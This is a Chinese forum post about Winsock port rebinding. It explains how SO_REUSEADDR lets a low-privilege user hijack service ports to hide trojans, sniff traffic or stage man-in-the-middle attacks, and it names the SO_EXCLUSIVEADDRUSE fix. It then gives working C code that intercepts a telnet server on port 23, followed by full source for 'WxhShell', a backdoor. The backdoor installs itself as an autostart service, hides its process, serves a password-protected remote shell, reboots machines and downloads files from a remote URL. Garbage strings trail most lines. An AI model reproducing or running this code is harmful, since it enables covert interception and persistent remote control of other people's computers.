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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4k225~GQ:C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (u&x.J  
% 6 *c40  
  saddr.sin_family = AF_INET; fmixWL7.Zg  
PuJ3#H T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p}QDX*/sSu  
q\@Zf}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e{E\YEc  
\E?3nQM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;z4J)qw  
6.)ug7aF  
  这意味着什么?意味着可以进行如下的攻击: "SMJ:g",  
 @/s|<*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gxl7j Y  
_RaE: )  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c-k3<|H`  
jC'h54 ,Mr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (X "J)x aQ  
U 3< 3T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?>B?*IK!  
+;~N; BT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \#,2#BmO"E  
}[akj8U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 g[(@@TiG  
I(*3n"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ':(AiD-}  
5f7id7SI  
  #include ." xP {  
  #include M[`[+5v  
  #include ,1{qZ(l1  
  #include    Ca0s m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3Z" ;a  
  int main() f 0H.$UAL  
  { !MKecRG_  
  WORD wVersionRequested; 56)!&MF  
  DWORD ret; <W #G)c0  
  WSADATA wsaData; nz3*s#k\-  
  BOOL val; *<sc[..)  
  SOCKADDR_IN saddr; v^ ^Ibv  
  SOCKADDR_IN scaddr; sbmtx/%U  
  int err; 4z(~)#'^  
  SOCKET s; Ss%Cf6qdWL  
  SOCKET sc; TX=894{nGh  
  int caddsize; VFf;|PHS  
  HANDLE mt; !An?<Sv$  
  DWORD tid;   CK[8y&  
  wVersionRequested = MAKEWORD( 2, 2 ); +#eol~j9N  
  err = WSAStartup( wVersionRequested, &wsaData ); 3JGrJ!x  
  if ( err != 0 ) { {rcN_N%  
  printf("error!WSAStartup failed!\n"); s;I @En  
  return -1; "<=4]Z  
  } 59zWB,y(P  
  saddr.sin_family = AF_INET; a=}1`Q  
   uLzE'Z mV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >UCg3uFj  
TnN yth wZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]R""L<K%HF  
  saddr.sin_port = htons(23); P*!`AWn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JH\:9B+:L  
  { Hl}lxK,]  
  printf("error!socket failed!\n");  :f[ w  
  return -1; eE'P)^KV  
  } _O}m0c   
  val = TRUE; 2"G9?)d9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 { YQS fk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r2SZC`Z}-M  
  { {Phq39g  
  printf("error!setsockopt failed!\n"); 2VY7?1Ab(@  
  return -1; :4zu.  
  } }B'-*)^|e{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %/uLyCUZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [QxP9EC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )l`Ks  
2L&c91=wE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lW?}Ts ~'  
  { q7lC}'2fu  
  ret=GetLastError(); k( Sda>-  
  printf("error!bind failed!\n"); 82@^vX  
  return -1; ?7Cm+J  
  } >>T7;[h  
  listen(s,2); jVnTpa!A  
  while(1) 8vuTF*{yZ  
  { o6A$)m5V  
  caddsize = sizeof(scaddr); hM]Z T5;<  
  //接受连接请求 H/{@eaV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y^ skE{  
  if(sc!=INVALID_SOCKET) /C8}5)  
  { zd5=W"Y;]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {A==av  
  if(mt==NULL) 4wSZ'RTSR  
  { _S{TjGZ&  
  printf("Thread Creat Failed!\n"); oW^x=pS9  
  break; \H .Cmm^I  
  } [@9S-$Xa  
  } ML>M:Ik+  
  CloseHandle(mt); >s5}pkAv|e  
  } =J1V?x=l@  
  closesocket(s); p K-tj  
  WSACleanup(); ta{24{?M\  
  return 0; z6U'"T"a  
  }   v'?Smd1v /  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9KX% O-'  
  { B(M-;F  
  SOCKET ss = (SOCKET)lpParam; `F/R:!v  
  SOCKET sc; E "=4(   
  unsigned char buf[4096];  +#,J`fV%  
  SOCKADDR_IN saddr; (xW+* %  
  long num; we _CF*zj  
  DWORD val; t|'%0 W  
  DWORD ret; R|*0_!O:[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DU6j0lz  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a2.6 S./  
  saddr.sin_family = AF_INET; !@lx|= #  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J\@g3oGw  
  saddr.sin_port = htons(23); vk E]$4P[$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i&H^xgm  
  { j-BNHX  
  printf("error!socket failed!\n"); JL G!;sov  
  return -1; C')KZ|JIC  
  } *eHa4I  
  val = 100; |?J57(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <B>qE a_I  
  { >bWpj8Kv  
  ret = GetLastError(); FNUs .d"  
  return -1; %P~;>4i,  
  } |aenQA#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JYWoQ[ZO#>  
  { Q   
  ret = GetLastError(); W#U|;@"  
  return -1; p^ (Z  
  } w#)u+^-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4*Hzys[{  
  { BDf M4  
  printf("error!socket connect failed!\n"); F)~>4>hPr  
  closesocket(sc); /TsXm-g#  
  closesocket(ss); lF64g  
  return -1; Iq%<E:+GL  
  } $yi:0t8t  
  while(1) G0!6rDu2,  
  { Jf4` 2KN\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q`PA~C];  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1|8Bv0-b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b;D  
  num = recv(ss,buf,4096,0); 7yu-xnt3s  
  if(num>0) B?&0NpVD  
  send(sc,buf,num,0); W#!AZ!  
  else if(num==0) WYF8?1dt +  
  break; FR6 W-L  
  num = recv(sc,buf,4096,0); 6IRRRtO(  
  if(num>0) p#qla'  
  send(ss,buf,num,0); MS#"TG/)  
  else if(num==0) A-1K TD  
  break; z&0[F`U  
  } &Ih }"  
  closesocket(ss); @+t|Aa^g  
  closesocket(sc); vcj(=\ e8v  
  return 0 ; @D-I@Cyl  
  } 7WH'GoBh  
'qEw]l  
Z":m(}u O  
========================================================== r'nPP6`  
pf'DbY!  
下边附上一个代码,,WXhSHELL -zYa@PW  
3.Mpd  
========================================================== cvy 5|;-u  
LhKbZ oPp  
#include "stdafx.h" hzk!H]>E  
4A"nm6  
#include <stdio.h> kjPf%*3  
#include <string.h> jMBM qQNU  
#include <windows.h> ?J + jv  
#include <winsock2.h> #Pk{emYW  
#include <winsvc.h> ;{0alhMZ  
#include <urlmon.h> 5cf?u3r!qJ  
OcMB)1uh\  
#pragma comment (lib, "Ws2_32.lib") >"1EN5W  
#pragma comment (lib, "urlmon.lib") T^] ]z}k  
xGr{ad.N  
#define MAX_USER   100 // 最大客户端连接数 (KN",u6F  
#define BUF_SOCK   200 // sock buffer jNx{*2._r  
#define KEY_BUFF   255 // 输入 buffer $k )K}U  
VF11eZ"  
#define REBOOT     0   // 重启 :0(^^6Q\  
#define SHUTDOWN   1   // 关机 =D0d+b6  
M 2| k.  
#define DEF_PORT   5000 // 监听端口 b=S"o )>  
uSYI X  
#define REG_LEN     16   // 注册表键长度 Y*pXbztP  
#define SVC_LEN     80   // NT服务名长度 CvRCcSJM\2  
|qguLab(  
// 从dll定义API I 2AQ G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x1`w{5;C 2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }~&0<8m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [mwqCW&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -[vw 8  
&+02Sn3A  
// wxhshell配置信息 =Bc{0p*  
struct WSCFG { LiFR7\z  
  int ws_port;         // 监听端口 ea @ H  
  char ws_passstr[REG_LEN]; // 口令 kuBtPZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ff>X='{  
  char ws_regname[REG_LEN]; // 注册表键名 [u*7( 4e  
  char ws_svcname[REG_LEN]; // 服务名 #t1? *4.p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jtfC3E,U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @I1*b>X~<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +%[, m&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uL7}JQ,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }8l+Jd3"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x&u@!# d]  
f%_$RdU  
}; ik?IC$*n3i  
nTsV>lQY,  
// default Wxhshell configuration f#AuZ]h  
struct WSCFG wscfg={DEF_PORT, cahlYv'  
    "xuhuanlingzhe", i@P= *lLD  
    1, Xo(W\Pes  
    "Wxhshell", ~7j-OWz9  
    "Wxhshell", Ie Chz d  
            "WxhShell Service", <l,e6K  
    "Wrsky Windows CmdShell Service", hx%UZ<a  
    "Please Input Your Password: ", :-+][ [  
  1, Qu<HeSA_  
  "http://www.wrsky.com/wxhshell.exe", _{^F8  
  "Wxhshell.exe" X_JC1  
    }; %NlmLWF.  
/ L$q8+  
// 消息定义模块 xPT$d,~"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p8F$vx4,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h\)ual_r[j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N8r+Q%ov  
char *msg_ws_ext="\n\rExit."; ?OO !M  
char *msg_ws_end="\n\rQuit."; e6jdSn  
char *msg_ws_boot="\n\rReboot..."; <;b  
char *msg_ws_poff="\n\rShutdown..."; DVs$3RL  
char *msg_ws_down="\n\rSave to "; =&4eW#{LuH  
[A!=Hv_$  
char *msg_ws_err="\n\rErr!"; o'P[uB/  
char *msg_ws_ok="\n\rOK!"; JZyEyN  
z}VCiS0  
char ExeFile[MAX_PATH]; fB; o3!y  
int nUser = 0; Y'6P ~C;v  
HANDLE handles[MAX_USER]; .$G^c   
int OsIsNt; blbzh';0}  
eBECY(QMQ  
SERVICE_STATUS       serviceStatus; ocp3JR_0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NlG!_D"(y  
;P|v'NNI  
// 函数声明 /KJWo0zo  
int Install(void); QmPHf*w[  
int Uninstall(void); E&W4`{6K4  
int DownloadFile(char *sURL, SOCKET wsh); q*J-ii  
int Boot(int flag); 7.^1I7O  
void HideProc(void); =)6|lz^  
int GetOsVer(void); Ce3  
int Wxhshell(SOCKET wsl); G!ryW4  
void TalkWithClient(void *cs); LTD;  
int CmdShell(SOCKET sock); ? v@q&  
int StartFromService(void); }W]k1Bsx  
int StartWxhshell(LPSTR lpCmdLine); O >&,h^  
MES|iB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l>>, ~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vr>Rd{dm  
e-{4qt  
// 数据结构和表定义 2ld0w=?+eu  
SERVICE_TABLE_ENTRY DispatchTable[] = %1]Lc=[j  
{ N(&/ Ud  
{wscfg.ws_svcname, NTServiceMain}, h@ ?BA<'S  
{NULL, NULL} G Q+g.{c  
}; /`VtW$9-  
t3$+;K(  
// 自我安装 8|#p D4e  
int Install(void) [W,maT M"  
{ ?r6uEZ  
  char svExeFile[MAX_PATH]; MU&P+Wr  
  HKEY key; J $<g" z3  
  strcpy(svExeFile,ExeFile); =G2A Ufn   
AJH-V 6  
// 如果是win9x系统,修改注册表设为自启动 #6<9FY#  
if(!OsIsNt) { bQM_rqjJGw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [I` 6F6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u kKp,1xz  
  RegCloseKey(key); D Psf]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .@ElfPP(L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^E8eW  
  RegCloseKey(key); rj].bGQ,+  
  return 0; (yel  
    } G" Fd]'  
  } A5ps|zidI  
} SW%d'1ya  
else { aTy&"  
q,a|lH  
// 如果是NT以上系统,安装为系统服务 +H L]t'UEg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B/CP/Pfb  
if (schSCManager!=0) ;-d :!*  
{ ,2%>e"%  
  SC_HANDLE schService = CreateService q|%(47}z  
  ( AcYL3  
  schSCManager, `QlChxd  
  wscfg.ws_svcname, ukSi9| 1-,  
  wscfg.ws_svcdisp, =e,2/Ep{i  
  SERVICE_ALL_ACCESS, { O*maE"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <zK9J?ZQW>  
  SERVICE_AUTO_START, F+S;u=CKx  
  SERVICE_ERROR_NORMAL, NY ZPh%x  
  svExeFile, /*lSpsBn  
  NULL, Gu:aSb  
  NULL, |vnfY; ;z1  
  NULL, PU^Z7T);  
  NULL, v:<UbuJw  
  NULL fD<3Tl8U0  
  ); iCIu]6  
  if (schService!=0) x=bAR%i~  
  { Z;W`deA  
  CloseServiceHandle(schService); -)aBS3  
  CloseServiceHandle(schSCManager); :r[`bqC;\*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *~|xj,md  
  strcat(svExeFile,wscfg.ws_svcname); ?'h<yxu]u0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g!O(@Sqp1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m4 *Rr  
  RegCloseKey(key); cV5Lp4wY?  
  return 0; @qH<4`y.^  
    } c)M_&?J!5  
  } -~ `5kO~  
  CloseServiceHandle(schSCManager); 2Fce| Tn  
} It4J \S  
} Kl$!_$  
s"G6aM  
return 1; ^=wG#!#V"1  
} ~OEP)c\k  
g0^%X9s  
// 自我卸载 G)?O!(_  
int Uninstall(void) 0QDm3V0n  
{ J%;TK6  
  HKEY key; ZSMOq4Y 9  
+MeEy{;  
if(!OsIsNt) { . c+RFX@0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LeY\{w  
  RegDeleteValue(key,wscfg.ws_regname); -[x^z5Ee`  
  RegCloseKey(key); >b |l6 #%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c% 0h!zF  
  RegDeleteValue(key,wscfg.ws_regname); t}`|\*a  
  RegCloseKey(key); z$`=7 afp  
  return 0; s&M6DFlA  
  } Q/=L(_1l  
} pP)0 l  
} /H,!7!6>?  
else { j+J)S1  
a)[XJLCQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N Q{ X IN~  
if (schSCManager!=0) `96:Z-!}  
{ t4UKG&[a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iR(A ^  
  if (schService!=0) {`~{%2ayq7  
  { ts%@1Y?  
  if(DeleteService(schService)!=0) { S0g5Ym ia  
  CloseServiceHandle(schService); U^~K-!0  
  CloseServiceHandle(schSCManager); H4 & d,8:m  
  return 0; 4fZ$&)0&  
  } yc4mWB~gyU  
  CloseServiceHandle(schService); ~|pVz/s|G  
  } }O@S ;[v S  
  CloseServiceHandle(schSCManager); >3X!c"#l  
} +*d,non6v  
} pH?VM&x  
I [0od+K  
return 1; ]{nFB3vtB  
} mhp5}  
<0R7uH  
// 从指定url下载文件 PT|^RF%fT  
int DownloadFile(char *sURL, SOCKET wsh) QM9~O#rL  
{ < 7zyRm@S  
  HRESULT hr; ]ODC+q1  
char seps[]= "/"; _d]w)YMO  
char *token; X c,UR .  
char *file; ^Q4w<sX'  
char myURL[MAX_PATH]; ||}|=Sz  
char myFILE[MAX_PATH]; ~7b '4\  
}` Q'!_`  
strcpy(myURL,sURL); d^Ra1@0"q2  
  token=strtok(myURL,seps); n@5pS3qZ  
  while(token!=NULL) brNe13d3~"  
  { V@8 4Cb  
    file=token; f3V&i)w(  
  token=strtok(NULL,seps); sxO_K^eD  
  } Fkz+Qz  
ph30/*8  
GetCurrentDirectory(MAX_PATH,myFILE); b UAjt>+  
strcat(myFILE, "\\"); LlRvm/  
strcat(myFILE, file); l?a(=  
  send(wsh,myFILE,strlen(myFILE),0); ,<|EoravH  
send(wsh,"...",3,0); 8b(UqyV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p2!x8`IB*  
  if(hr==S_OK)  -deY,%  
return 0; -d %bc?  
else H<%7aOwO2  
return 1; M[R, m_p  
S]9:3~  
} phbdV8$L  
3oxQ[.o  
// 系统电源模块 :{LVS nG  
int Boot(int flag) &.=d,XKN  
{ U-3KuR+0  
  HANDLE hToken; &EXql']  
  TOKEN_PRIVILEGES tkp; WaN0$66[:  
d<V+;">2  
  if(OsIsNt) { ^gH.5L0]gH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); phl5E:fIKx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }^?dK3~q  
    tkp.PrivilegeCount = 1; 5D-xm$8C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K,|Gtaa~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s3_i5,y  
if(flag==REBOOT) { +tdt>)a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w^p 'D{{  
  return 0; 0d`s(b54;O  
} RE oFP;H~  
else { 27t:-O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z.]t_`KuF9  
  return 0; HG=!#-$9  
} ]J;^< 4l  
  } nrwb6wj  
  else { r&1N8o  
if(flag==REBOOT) { 5^GUuFt5m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `8xe2=Ub  
  return 0; !z(POK  
} ~Rk6@&ZS}  
else { 2p@Rr7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V{{b^y  
  return 0; e0j*e7$  
} A37Z;/H~k  
} XdLB1H  
@5acTY Q  
return 1; 9!_`HE+(XJ  
} sA3 4`ZAa  
G:c)e ,pD  
// win9x进程隐藏模块 hKQT,  
void HideProc(void) Z)62/`C)  
{ C% }FVO\c  
U,[vfSDGr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  Cj_cu  
  if ( hKernel != NULL ) , YTuZS  
  { -AD3Pd|Y[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R\A5f\L9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ga.a"\F.V  
    FreeLibrary(hKernel); `cy_@Z5A  
  } k/j]*~"  
x}AWWmXv  
return; ;[ pyKh  
} :f 1*-y  
-XkCbxZ  
// 获取操作系统版本 ?bmP<(N5/  
int GetOsVer(void) o" &7$pAh  
{ *S:^3{.m=  
  OSVERSIONINFO winfo; &P&M6v+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 80![aj}z4G  
  GetVersionEx(&winfo); jC@$D*"J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %%G2w6 3M  
  return 1; GBHv| GO  
  else |@sUN:G4k  
  return 0; h-<('w:A  
} TlQ#0_as[  
?E^~z-  
// 客户端句柄模块 fp.,MIS  
int Wxhshell(SOCKET wsl) Owo2DsT t  
{ g&`e2|[7  
  SOCKET wsh; k9~NIvnB`  
  struct sockaddr_in client; W[AX?  
  DWORD myID; ?y>P  
1 }Tbp_  
  while(nUser<MAX_USER) ;8'hvc3i$  
{ ]p\7s  
  int nSize=sizeof(client); Cf91#% :cN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #@w8wCj  
  if(wsh==INVALID_SOCKET) return 1; Rf^$?D&^  
x{*g^f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l<ag\ d  
if(handles[nUser]==0) s+#gH@c  
  closesocket(wsh); Nv,1F  
else qg7.E+  
  nUser++; cV\(Z6u  
  } =ps3=D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ynl^Z  
MRR5j;4GK  
  return 0; , ;W6wj  
} j1Fy'os"!  
$5yH(Z[[  
// 关闭 socket 4/;hA z  
void CloseIt(SOCKET wsh)  0w>V![  
{ I<`K;El'  
closesocket(wsh); .vE=527g)  
nUser--; EiQX* v  
ExitThread(0); :hJHjh  
} [=7=zV;}4  
UbNA|`H  
// 客户端请求句柄 @<=xfs  
void TalkWithClient(void *cs) ~b}a|K  
{ 5\gL+ qM0  
}Qyuy~-&^  
  SOCKET wsh=(SOCKET)cs; BgRfy2:  
  char pwd[SVC_LEN]; x)N$.7'9OJ  
  char cmd[KEY_BUFF]; !~Gx@Ro  
char chr[1]; %sxLxx_x!  
int i,j; Ir&rTGFN  
cyrVz4_a  
  while (nUser < MAX_USER) { rH*1bDL  
K2$ fKju  
if(wscfg.ws_passstr) { kW#,o9f\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fFDI qX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O'm><a>8  
  //ZeroMemory(pwd,KEY_BUFF); %IrR+f+H  
      i=0; eRU0gvgLu"  
  while(i<SVC_LEN) { zx` %)r  
%J(y2 }  
  // 设置超时 5.m&93P  
  fd_set FdRead; }<R,)ZV^G  
  struct timeval TimeOut; vT/e&8w  
  FD_ZERO(&FdRead); 2-!OflkoM0  
  FD_SET(wsh,&FdRead); Z/-9G  
  TimeOut.tv_sec=8; E Q 'L"  
  TimeOut.tv_usec=0; )4:K@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); URU,&gy=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0U|t@&q  
rPhx^ QKH2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?YE'J~0A6  
  pwd=chr[0]; @Wgd(Ezd  
  if(chr[0]==0xd || chr[0]==0xa) { ffoL]u\  
  pwd=0; >QyJRMY  
  break; F.{{gpI  
  } 5Ku=Xzvq  
  i++; & -r^Q  
    } krqz;q-p~  
v.iHgh  
  // 如果是非法用户,关闭 socket kN7 J Z12  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;f;A"  
} +cH,2^&  
(LiS9|J!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g)?Ol  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lk%`hsv  
*vy^=Yea  
while(1) { $Lj~ge3#  
_{j'` #  
  ZeroMemory(cmd,KEY_BUFF); /x%h@Cn!  
%MG{KG=&o  
      // 自动支持客户端 telnet标准   E_q/*}]pE  
  j=0; )6+Z99w  
  while(j<KEY_BUFF) { ))T@U?r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o<h2]TN  
  cmd[j]=chr[0]; F}1h  
  if(chr[0]==0xa || chr[0]==0xd) { 7 bV(eV  
  cmd[j]=0; @jL](Mq|]  
  break; l7h6R$7; 0  
  } mJxr"cwHl  
  j++; (vX) <Z !  
    } Lql2ry$Wa  
^aG$9N<\  
  // 下载文件 e p jb  
  if(strstr(cmd,"http://")) { LTZ8Eu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cI Sugk~  
  if(DownloadFile(cmd,wsh)) o*MiKgQ&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xr:gm`[  
  else 6ZO6 O=KD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #|PPkg%v<  
  } kM6i{{Q  
  else { [}Q_T.4)E  
y^!>'cdV  
    switch(cmd[0]) { QhhL_vP  
  ]z5kYU&  
  // 帮助 "D\>oFu  
  case '?': { Hs:0j$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mXYG^}  
    break; !hs33@*u~  
  } 2jf73$F  
  // 安装 e{EC# %x_  
  case 'i': { kzE<Y  
    if(Install()) Z";&1cK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` 0$i^,}  
    else /0Jf/-}ovn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qX[{_$^Q  
    break; Y/x>wNW  
    } zG0]!A  
  // 卸载 ~dO+kD  
  case 'r': { gt(^9t;  
    if(Uninstall()) Pz^C3h$5_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [vGkr" =  
    else O~Jm<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u^O!5 'D%  
    break; v9\U2j  
    } Ucx"\/"  
  // 显示 wxhshell 所在路径 z!M #   
  case 'p': { I4|LD/b  
    char svExeFile[MAX_PATH]; ?gsPHPUS  
    strcpy(svExeFile,"\n\r"); j.&Y'C7GOC  
      strcat(svExeFile,ExeFile); o%b6"_~%3  
        send(wsh,svExeFile,strlen(svExeFile),0); bm*.*A]  
    break; |.4>#<$__  
    }  Vp7d  
  // 重启 MY60%  
  case 'b': { GE8.{P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HA J[Y3d<  
    if(Boot(REBOOT)) 1> v(&;K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cR{F|0X  
    else { upLjkQ)_  
    closesocket(wsh); \0W0o5c$  
    ExitThread(0); ~.tl7wKkR/  
    } s{Og3qUy  
    break; `;=-71Gn~  
    } <NEz{1Z  
  // 关机 fN1b+ d~*6  
  case 'd': { }4g$ aTc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }S$OE))u  
